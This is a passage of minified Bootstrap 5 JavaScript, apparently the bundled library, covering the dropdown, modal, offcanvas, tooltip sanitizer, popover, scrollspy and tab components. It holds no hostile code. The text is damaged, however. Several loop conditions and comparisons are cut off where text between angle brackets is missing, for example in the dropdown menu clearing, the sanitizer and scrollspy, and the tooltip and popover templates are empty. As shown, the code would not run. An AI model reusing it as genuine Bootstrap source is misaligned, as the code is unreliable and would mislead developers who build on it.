t?t.split(",").map(t=>Number.parseInt(t,10)):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return"static"===this._config.display&&(t.modifiers=[{name:"applyStyles",enabled:!1}]),{...t,..."function"==typeof this._config.popperConfig?this._config.popperConfig(t):this._config.popperConfig}}_selectMenuItem({key:e,target:i}){const n=t.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter(c);n.length&&y(n,i,"ArrowDown"===e,!n.includes(i)).focus()}static dropdownInterface(t,e){const i=Ae.getOrCreateInstance(t,e);if("string"==typeof e){if(void 0===i[e])throw new TypeError(`No method named "${e}"`);i[e]()}}static jQueryInterface(t){return this.each((function(){Ae.dropdownInterface(this,t)}))}static clearMenus(e){if(e&&(2===e.button||"keyup"===e.type&&"Tab"!==e.key))return;const i=t.find('[data-bs-toggle="dropdown"]');for(let t=0,n=i.length;tthis.matches('[data-bs-toggle="dropdown"]')?this:t.prev(this,'[data-bs-toggle="dropdown"]')[0];return"Escape"===e.key?(n().focus(),void Ae.clearMenus()):"ArrowUp"===e.key||"ArrowDown"===e.key?(i||n().click(),void Ae.getInstance(n())._selectMenuItem(e)):void(i&&"Space"!==e.key||Ae.clearMenus())}}P.on(document,"keydown.bs.dropdown.data-api",'[data-bs-toggle="dropdown"]',Ae.dataApiKeydownHandler),P.on(document,"keydown.bs.dropdown.data-api",".dropdown-menu",Ae.dataApiKeydownHandler),P.on(document,"click.bs.dropdown.data-api",Ae.clearMenus),P.on(document,"keyup.bs.dropdown.data-api",Ae.clearMenus),P.on(document,"click.bs.dropdown.data-api",'[data-bs-toggle="dropdown"]',(function(t){t.preventDefault(),Ae.dropdownInterface(this)})),_(Ae);class Te{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,"paddingRight",e=>e+t),this._setElementAttributes(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top","paddingRight",e=>e+t),this._setElementAttributes(".sticky-top","marginRight",e=>e-t)}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow"),this._element.style.overflow="hidden"}_setElementAttributes(t,e,i){const n=this.getWidth();this._applyManipulationCallback(t,t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+n)return;this._saveInitialAttribute(t,e);const s=window.getComputedStyle(t)[e];t.style[e]=i(Number.parseFloat(s))+"px"})}reset(){this._resetElementAttributes(this._element,"overflow"),this._resetElementAttributes(this._element,"paddingRight"),this._resetElementAttributes(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top","paddingRight"),this._resetElementAttributes(".sticky-top","marginRight")}_saveInitialAttribute(t,e){const i=t.style[e];i&&U.setDataAttribute(t,e,i)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,t=>{const i=U.getDataAttribute(t,e);void 0===i?t.style.removeProperty(e):(U.removeDataAttribute(t,e),t.style[e]=i)})}_applyManipulationCallback(e,i){r(e)?i(e):t.find(e,this._element).forEach(i)}isOverflowing(){return this.getWidth()>0}}const Oe={isVisible:!0,isAnimated:!1,rootElement:"body",clickCallback:null},Ce={isVisible:"boolean",isAnimated:"boolean",rootElement:"(element|string)",clickCallback:"(function|null)"};class ke{constructor(t){this._config=this._getConfig(t),this._isAppended=!1,this._element=null}show(t){this._config.isVisible?(this._append(),this._config.isAnimated&&f(this._getElement()),this._getElement().classList.add("show"),this._emulateAnimation(()=>{b(t)})):b(t)}hide(t){this._config.isVisible?(this._getElement().classList.remove("show"),this._emulateAnimation(()=>{this.dispose(),b(t)})):b(t)}_getElement(){if(!this._element){const t=document.createElement("div");t.className="modal-backdrop",this._config.isAnimated&&t.classList.add("fade"),this._element=t}return this._element}_getConfig(t){return(t={...Oe,..."object"==typeof t?t:{}}).rootElement=a(t.rootElement),l("backdrop",t,Ce),t}_append(){this._isAppended||(this._config.rootElement.appendChild(this._getElement()),P.on(this._getElement(),"mousedown.bs.backdrop",()=>{b(this._config.clickCallback)}),this._isAppended=!0)}dispose(){this._isAppended&&(P.off(this._element,"mousedown.bs.backdrop"),this._element.remove(),this._isAppended=!1)}_emulateAnimation(t){v(t,this._getElement(),this._config.isAnimated)}}const Le={backdrop:!0,keyboard:!0,focus:!0},xe={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean"};class De extends B{constructor(e,i){super(e),this._config=this._getConfig(i),this._dialog=t.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._isShown=!1,this._ignoreBackdropClick=!1,this._isTransitioning=!1,this._scrollBar=new Te}static get Default(){return Le}static get NAME(){return"modal"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||this._isTransitioning||P.trigger(this._element,"show.bs.modal",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isAnimated()&&(this._isTransitioning=!0),this._scrollBar.hide(),document.body.classList.add("modal-open"),this._adjustDialog(),this._setEscapeEvent(),this._setResizeEvent(),P.on(this._element,"click.dismiss.bs.modal",'[data-bs-dismiss="modal"]',t=>this.hide(t)),P.on(this._dialog,"mousedown.dismiss.bs.modal",()=>{P.one(this._element,"mouseup.dismiss.bs.modal",t=>{t.target===this._element&&(this._ignoreBackdropClick=!0)})}),this._showBackdrop(()=>this._showElement(t)))}hide(t){if(t&&["A","AREA"].includes(t.target.tagName)&&t.preventDefault(),!this._isShown||this._isTransitioning)return;if(P.trigger(this._element,"hide.bs.modal").defaultPrevented)return;this._isShown=!1;const e=this._isAnimated();e&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),P.off(document,"focusin.bs.modal"),this._element.classList.remove("show"),P.off(this._element,"click.dismiss.bs.modal"),P.off(this._dialog,"mousedown.dismiss.bs.modal"),this._queueCallback(()=>this._hideModal(),this._element,e)}dispose(){[window,this._dialog].forEach(t=>P.off(t,".bs.modal")),this._backdrop.dispose(),super.dispose(),P.off(document,"focusin.bs.modal")}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new ke({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_getConfig(t){return t={...Le,...U.getDataAttributes(this._element),..."object"==typeof t?t:{}},l("modal",t,xe),t}_showElement(e){const i=this._isAnimated(),n=t.findOne(".modal-body",this._dialog);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0,n&&(n.scrollTop=0),i&&f(this._element),this._element.classList.add("show"),this._config.focus&&this._enforceFocus(),this._queueCallback(()=>{this._config.focus&&this._element.focus(),this._isTransitioning=!1,P.trigger(this._element,"shown.bs.modal",{relatedTarget:e})},this._dialog,i)}_enforceFocus(){P.off(document,"focusin.bs.modal"),P.on(document,"focusin.bs.modal",t=>{document===t.target||this._element===t.target||this._element.contains(t.target)||this._element.focus()})}_setEscapeEvent(){this._isShown?P.on(this._element,"keydown.dismiss.bs.modal",t=>{this._config.keyboard&&"Escape"===t.key?(t.preventDefault(),this.hide()):this._config.keyboard||"Escape"!==t.key||this._triggerBackdropTransition()}):P.off(this._element,"keydown.dismiss.bs.modal")}_setResizeEvent(){this._isShown?P.on(window,"resize.bs.modal",()=>this._adjustDialog()):P.off(window,"resize.bs.modal")}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide(()=>{document.body.classList.remove("modal-open"),this._resetAdjustments(),this._scrollBar.reset(),P.trigger(this._element,"hidden.bs.modal")})}_showBackdrop(t){P.on(this._element,"click.dismiss.bs.modal",t=>{this._ignoreBackdropClick?this._ignoreBackdropClick=!1:t.target===t.currentTarget&&(!0===this._config.backdrop?this.hide():"static"===this._config.backdrop&&this._triggerBackdropTransition())}),this._backdrop.show(t)}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if(P.trigger(this._element,"hidePrevented.bs.modal").defaultPrevented)return;const{classList:t,scrollHeight:e,style:i}=this._element,n=e>document.documentElement.clientHeight;!n&&"hidden"===i.overflowY||t.contains("modal-static")||(n||(i.overflowY="hidden"),t.add("modal-static"),this._queueCallback(()=>{t.remove("modal-static"),n||this._queueCallback(()=>{i.overflowY=""},this._dialog)},this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),i=e>0;(!i&&t&&!g()||i&&!t&&g())&&(this._element.style.paddingLeft=e+"px"),(i&&!t&&!g()||!i&&t&&g())&&(this._element.style.paddingRight=e+"px")}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(t,e){return this.each((function(){const i=De.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t](e)}}))}}P.on(document,"click.bs.modal.data-api",'[data-bs-toggle="modal"]',(function(t){const e=s(this);["A","AREA"].includes(this.tagName)&&t.preventDefault(),P.one(e,"show.bs.modal",t=>{t.defaultPrevented||P.one(e,"hidden.bs.modal",()=>{c(this)&&this.focus()})}),De.getOrCreateInstance(e).toggle(this)})),_(De);const Se={backdrop:!0,keyboard:!0,scroll:!1},Ie={backdrop:"boolean",keyboard:"boolean",scroll:"boolean"};class Ne extends B{constructor(t,e){super(t),this._config=this._getConfig(e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._addEventListeners()}static get NAME(){return"offcanvas"}static get Default(){return Se}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||P.trigger(this._element,"show.bs.offcanvas",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._element.style.visibility="visible",this._backdrop.show(),this._config.scroll||((new Te).hide(),this._enforceFocusOnElement(this._element)),this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add("show"),this._queueCallback(()=>{P.trigger(this._element,"shown.bs.offcanvas",{relatedTarget:t})},this._element,!0))}hide(){this._isShown&&(P.trigger(this._element,"hide.bs.offcanvas").defaultPrevented||(P.off(document,"focusin.bs.offcanvas"),this._element.blur(),this._isShown=!1,this._element.classList.remove("show"),this._backdrop.hide(),this._queueCallback(()=>{this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._element.style.visibility="hidden",this._config.scroll||(new Te).reset(),P.trigger(this._element,"hidden.bs.offcanvas")},this._element,!0)))}dispose(){this._backdrop.dispose(),super.dispose(),P.off(document,"focusin.bs.offcanvas")}_getConfig(t){return t={...Se,...U.getDataAttributes(this._element),..."object"==typeof t?t:{}},l("offcanvas",t,Ie),t}_initializeBackDrop(){return new ke({isVisible:this._config.backdrop,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:()=>this.hide()})}_enforceFocusOnElement(t){P.off(document,"focusin.bs.offcanvas"),P.on(document,"focusin.bs.offcanvas",e=>{document===e.target||t===e.target||t.contains(e.target)||t.focus()}),t.focus()}_addEventListeners(){P.on(this._element,"click.dismiss.bs.offcanvas",'[data-bs-dismiss="offcanvas"]',()=>this.hide()),P.on(this._element,"keydown.dismiss.bs.offcanvas",t=>{this._config.keyboard&&"Escape"===t.key&&this.hide()})}static jQueryInterface(t){return this.each((function(){const e=Ne.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}P.on(document,"click.bs.offcanvas.data-api",'[data-bs-toggle="offcanvas"]',(function(e){const i=s(this);if(["A","AREA"].includes(this.tagName)&&e.preventDefault(),h(this))return;P.one(i,"hidden.bs.offcanvas",()=>{c(this)&&this.focus()});const n=t.findOne(".offcanvas.show");n&&n!==i&&Ne.getInstance(n).hide(),Ne.getOrCreateInstance(i).toggle(this)})),P.on(window,"load.bs.offcanvas.data-api",()=>t.find(".offcanvas.show").forEach(t=>Ne.getOrCreateInstance(t).show())),_(Ne);const je=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),Me=/^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/i,Pe=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i,He=(t,e)=>{const i=t.nodeName.toLowerCase();if(e.includes(i))return!je.has(i)||Boolean(Me.test(t.nodeValue)||Pe.test(t.nodeValue));const n=e.filter(t=>t instanceof RegExp);for(let t=0,e=n.length;t{He(t,a)||i.removeAttribute(t.nodeName)})}return n.body.innerHTML}const Be=new RegExp("(^|\\s)bs-tooltip\\S+","g"),We=new Set(["sanitize","allowList","sanitizeFn"]),qe={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(array|string|function)",container:"(string|element|boolean)",fallbackPlacements:"array",boundary:"(string|element)",customClass:"(string|function)",sanitize:"boolean",sanitizeFn:"(null|function)",allowList:"object",popperConfig:"(null|object|function)"},ze={AUTO:"auto",TOP:"top",RIGHT:g()?"left":"right",BOTTOM:"bottom",LEFT:g()?"right":"left"},$e={animation:!0,template:'',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:[0,0],container:!1,fallbackPlacements:["top","right","bottom","left"],boundary:"clippingParents",customClass:"",sanitize:!0,sanitizeFn:null,allowList:{"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},popperConfig:null},Ue={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"};class Fe extends B{constructor(t,e){if(void 0===fe)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(t),this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this._config=this._getConfig(e),this.tip=null,this._setListeners()}static get Default(){return $e}static get NAME(){return"tooltip"}static get Event(){return Ue}static get DefaultType(){return qe}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(t){if(this._isEnabled)if(t){const e=this._initializeOnDelegatedTarget(t);e._activeTrigger.click=!e._activeTrigger.click,e._isWithActiveTrigger()?e._enter(null,e):e._leave(null,e)}else{if(this.getTipElement().classList.contains("show"))return void this._leave(null,this);this._enter(null,this)}}dispose(){clearTimeout(this._timeout),P.off(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this.tip&&this.tip.remove(),this._popper&&this._popper.destroy(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this.isWithContent()||!this._isEnabled)return;const t=P.trigger(this._element,this.constructor.Event.SHOW),i=d(this._element),n=null===i?this._element.ownerDocument.documentElement.contains(this._element):i.contains(this._element);if(t.defaultPrevented||!n)return;const s=this.getTipElement(),o=e(this.constructor.NAME);s.setAttribute("id",o),this._element.setAttribute("aria-describedby",o),this.setContent(),this._config.animation&&s.classList.add("fade");const r="function"==typeof this._config.placement?this._config.placement.call(this,s,this._element):this._config.placement,a=this._getAttachment(r);this._addAttachmentClass(a);const{container:l}=this._config;R.set(s,this.constructor.DATA_KEY,this),this._element.ownerDocument.documentElement.contains(this.tip)||(l.appendChild(s),P.trigger(this._element,this.constructor.Event.INSERTED)),this._popper?this._popper.update():this._popper=ue(this._element,s,this._getPopperConfig(a)),s.classList.add("show");const c="function"==typeof this._config.customClass?this._config.customClass():this._config.customClass;c&&s.classList.add(...c.split(" ")),"ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>{P.on(t,"mouseover",u)});const h=this.tip.classList.contains("fade");this._queueCallback(()=>{const t=this._hoverState;this._hoverState=null,P.trigger(this._element,this.constructor.Event.SHOWN),"out"===t&&this._leave(null,this)},this.tip,h)}hide(){if(!this._popper)return;const t=this.getTipElement();if(P.trigger(this._element,this.constructor.Event.HIDE).defaultPrevented)return;t.classList.remove("show"),"ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>P.off(t,"mouseover",u)),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1;const e=this.tip.classList.contains("fade");this._queueCallback(()=>{this._isWithActiveTrigger()||("show"!==this._hoverState&&t.remove(),this._cleanTipClass(),this._element.removeAttribute("aria-describedby"),P.trigger(this._element,this.constructor.Event.HIDDEN),this._popper&&(this._popper.destroy(),this._popper=null))},this.tip,e),this._hoverState=""}update(){null!==this._popper&&this._popper.update()}isWithContent(){return Boolean(this.getTitle())}getTipElement(){if(this.tip)return this.tip;const t=document.createElement("div");return t.innerHTML=this._config.template,this.tip=t.children[0],this.tip}setContent(){const e=this.getTipElement();this.setElementContent(t.findOne(".tooltip-inner",e),this.getTitle()),e.classList.remove("fade","show")}setElementContent(t,e){if(null!==t)return r(e)?(e=a(e),void(this._config.html?e.parentNode!==t&&(t.innerHTML="",t.appendChild(e)):t.textContent=e.textContent)):void(this._config.html?(this._config.sanitize&&(e=Re(e,this._config.allowList,this._config.sanitizeFn)),t.innerHTML=e):t.textContent=e)}getTitle(){let t=this._element.getAttribute("data-bs-original-title");return t||(t="function"==typeof this._config.title?this._config.title.call(this._element):this._config.title),t}updateAttachment(t){return"right"===t?"end":"left"===t?"start":t}_initializeOnDelegatedTarget(t,e){const i=this.constructor.DATA_KEY;return(e=e||R.get(t.delegateTarget,i))||(e=new this.constructor(t.delegateTarget,this._getDelegateConfig()),R.set(t.delegateTarget,i,e)),e}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map(t=>Number.parseInt(t,10)):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(t){const e={placement:t,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"onChange",enabled:!0,phase:"afterWrite",fn:t=>this._handlePopperPlacementChange(t)}],onFirstUpdate:t=>{t.options.placement!==t.placement&&this._handlePopperPlacementChange(t)}};return{...e,..."function"==typeof this._config.popperConfig?this._config.popperConfig(e):this._config.popperConfig}}_addAttachmentClass(t){this.getTipElement().classList.add("bs-tooltip-"+this.updateAttachment(t))}_getAttachment(t){return ze[t.toUpperCase()]}_setListeners(){this._config.trigger.split(" ").forEach(t=>{if("click"===t)P.on(this._element,this.constructor.Event.CLICK,this._config.selector,t=>this.toggle(t));else if("manual"!==t){const e="hover"===t?this.constructor.Event.MOUSEENTER:this.constructor.Event.FOCUSIN,i="hover"===t?this.constructor.Event.MOUSELEAVE:this.constructor.Event.FOCUSOUT;P.on(this._element,e,this._config.selector,t=>this._enter(t)),P.on(this._element,i,this._config.selector,t=>this._leave(t))}}),this._hideModalHandler=()=>{this._element&&this.hide()},P.on(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this._config.selector?this._config={...this._config,trigger:"manual",selector:""}:this._fixTitle()}_fixTitle(){const t=this._element.getAttribute("title"),e=typeof this._element.getAttribute("data-bs-original-title");(t||"string"!==e)&&(this._element.setAttribute("data-bs-original-title",t||""),!t||this._element.getAttribute("aria-label")||this._element.textContent||this._element.setAttribute("aria-label",t),this._element.setAttribute("title",""))}_enter(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),e.getTipElement().classList.contains("show")||"show"===e._hoverState?e._hoverState="show":(clearTimeout(e._timeout),e._hoverState="show",e._config.delay&&e._config.delay.show?e._timeout=setTimeout(()=>{"show"===e._hoverState&&e.show()},e._config.delay.show):e.show())}_leave(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusout"===t.type?"focus":"hover"]=e._element.contains(t.relatedTarget)),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState="out",e._config.delay&&e._config.delay.hide?e._timeout=setTimeout(()=>{"out"===e._hoverState&&e.hide()},e._config.delay.hide):e.hide())}_isWithActiveTrigger(){for(const t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1}_getConfig(t){const e=U.getDataAttributes(this._element);return Object.keys(e).forEach(t=>{We.has(t)&&delete e[t]}),(t={...this.constructor.Default,...e,..."object"==typeof t&&t?t:{}}).container=!1===t.container?document.body:a(t.container),"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),l("tooltip",t,this.constructor.DefaultType),t.sanitize&&(t.template=Re(t.template,t.allowList,t.sanitizeFn)),t}_getDelegateConfig(){const t={};if(this._config)for(const e in this._config)this.constructor.Default[e]!==this._config[e]&&(t[e]=this._config[e]);return t}_cleanTipClass(){const t=this.getTipElement(),e=t.getAttribute("class").match(Be);null!==e&&e.length>0&&e.map(t=>t.trim()).forEach(e=>t.classList.remove(e))}_handlePopperPlacementChange(t){const{state:e}=t;e&&(this.tip=e.elements.popper,this._cleanTipClass(),this._addAttachmentClass(this._getAttachment(e.placement)))}static jQueryInterface(t){return this.each((function(){const e=Fe.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}_(Fe);const Ve=new RegExp("(^|\\s)bs-popover\\S+","g"),Ke={...Fe.Default,placement:"right",offset:[0,8],trigger:"click",content:"",template:''},Xe={...Fe.DefaultType,content:"(string|element|function)"},Ye={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"};class Qe extends Fe{static get Default(){return Ke}static get NAME(){return"popover"}static get Event(){return Ye}static get DefaultType(){return Xe}isWithContent(){return this.getTitle()||this._getContent()}getTipElement(){return this.tip||(this.tip=super.getTipElement(),this.getTitle()||t.findOne(".popover-header",this.tip).remove(),this._getContent()||t.findOne(".popover-body",this.tip).remove()),this.tip}setContent(){const e=this.getTipElement();this.setElementContent(t.findOne(".popover-header",e),this.getTitle());let i=this._getContent();"function"==typeof i&&(i=i.call(this._element)),this.setElementContent(t.findOne(".popover-body",e),i),e.classList.remove("fade","show")}_addAttachmentClass(t){this.getTipElement().classList.add("bs-popover-"+this.updateAttachment(t))}_getContent(){return this._element.getAttribute("data-bs-content")||this._config.content}_cleanTipClass(){const t=this.getTipElement(),e=t.getAttribute("class").match(Ve);null!==e&&e.length>0&&e.map(t=>t.trim()).forEach(e=>t.classList.remove(e))}static jQueryInterface(t){return this.each((function(){const e=Qe.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}_(Qe);const Ge={offset:10,method:"auto",target:""},Ze={offset:"number",method:"string",target:"(string|element)"};class Je extends B{constructor(t,e){super(t),this._scrollElement="BODY"===this._element.tagName?window:this._element,this._config=this._getConfig(e),this._selector=`${this._config.target} .nav-link, ${this._config.target} .list-group-item, ${this._config.target} .dropdown-item`,this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,P.on(this._scrollElement,"scroll.bs.scrollspy",()=>this._process()),this.refresh(),this._process()}static get Default(){return Ge}static get NAME(){return"scrollspy"}refresh(){const e=this._scrollElement===this._scrollElement.window?"offset":"position",i="auto"===this._config.method?e:this._config.method,s="position"===i?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),t.find(this._selector).map(e=>{const o=n(e),r=o?t.findOne(o):null;if(r){const t=r.getBoundingClientRect();if(t.width||t.height)return[U[i](r).top+s,o]}return null}).filter(t=>t).sort((t,e)=>t[0]-e[0]).forEach(t=>{this._offsets.push(t[0]),this._targets.push(t[1])})}dispose(){P.off(this._scrollElement,".bs.scrollspy"),super.dispose()}_getConfig(t){if("string"!=typeof(t={...Ge,...U.getDataAttributes(this._element),..."object"==typeof t&&t?t:{}}).target&&r(t.target)){let{id:i}=t.target;i||(i=e("scrollspy"),t.target.id=i),t.target="#"+i}return l("scrollspy",t,Ze),t}_getScrollTop(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop}_getScrollHeight(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)}_getOffsetHeight(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height}_process(){const t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),i=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=i){const t=this._targets[this._targets.length-1];this._activeTarget!==t&&this._activate(t)}else{if(this._activeTarget&&t0)return this._activeTarget=null,void this._clear();for(let e=this._offsets.length;e--;)this._activeTarget!==this._targets[e]&&t>=this._offsets[e]&&(void 0===this._offsets[e+1]||t`${t}[data-bs-target="${e}"],${t}[href="${e}"]`),n=t.findOne(i.join(","));n.classList.contains("dropdown-item")?(t.findOne(".dropdown-toggle",n.closest(".dropdown")).classList.add("active"),n.classList.add("active")):(n.classList.add("active"),t.parents(n,".nav, .list-group").forEach(e=>{t.prev(e,".nav-link, .list-group-item").forEach(t=>t.classList.add("active")),t.prev(e,".nav-item").forEach(e=>{t.children(e,".nav-link").forEach(t=>t.classList.add("active"))})})),P.trigger(this._scrollElement,"activate.bs.scrollspy",{relatedTarget:e})}_clear(){t.find(this._selector).filter(t=>t.classList.contains("active")).forEach(t=>t.classList.remove("active"))}static jQueryInterface(t){return this.each((function(){const e=Je.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}P.on(window,"load.bs.scrollspy.data-api",()=>{t.find('[data-bs-spy="scroll"]').forEach(t=>new Je(t))}),_(Je);class ti extends B{static get NAME(){return"tab"}show(){if(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&this._element.classList.contains("active"))return;let e;const i=s(this._element),n=this._element.closest(".nav, .list-group");if(n){const i="UL"===n.nodeName||"OL"===n.nodeName?":scope > li > .active":".active";e=t.find(i,n),e=e[e.length-1]}const o=e?P.trigger(e,"hide.bs.tab",{relatedTarget:this._element}):null;if(P.trigger(this._element,"show.bs.tab",{relatedTarget:e}).defaultPrevented||null!==o&&o.defaultPrevented)return;this._activate(this._element,n);const r=()=>{P.trigger(e,"hidden.bs.tab",{relatedTarget:this._element}),P.trigger(this._element,"shown.bs.tab",{relatedTarget:e})};i?this._activate(i,i.parentNode,r):r()}_activate(e,i,n){const s=(!i||"UL"!==i.nodeName&&"OL"!==i.nodeName?t.children(i,".active"):t.find(":scope > li > .active",i))[0],o=n&&s&&s.classList.contains("fade"),r=()=>this._transitionComplete(e,s,n);s&&o?(s.classList.remove("show"),this._queueCallback(r,e,!0)):r()}_transitionComplete(e,i,n){if(i){i.classList.remove("active");const e=t.findOne(":scope > .dropdown-menu .active",i.parentNode);e&&e.classList.remove("active"),"tab"===i.getAttribute("role")&&i.setAttribute("aria-selected",!1)}e.classList.add("active"),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!0),f(e),e.classList.contains("fade")&&e.classList.add("show");let s=e.parentNode;if(s&&"LI"===s.nodeName&&(s=s.parentNode),s&&s.classList.contains("dropdown-menu")){const i=e.closest(".dropdown");i&&t.find(".dropdown-toggle",i).forEach(t=>t.classList.add("active")),e.setAttribute("aria-expanded",!0)}n&&n()}static jQueryInterface(t){return this.each((function(){const e=ti.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}P.on(document,"click.bs.tab.data-api",'[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]',(function(t){["A","AREA"].includes(this.tagName)&&t.preventDefault(),h(this)||ti.getOrCreateInstance(this).show()})),_(ti);const ei={animation:"boolean",autohide:"boolean",delay:"number"},ii={animation:!0,autohide:!0,delay:5e3};class ni extends B{constructor(t,e){super(t),this._config=this._getConfig(e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get DefaultType(){return ei}static get Default(){return ii}static get 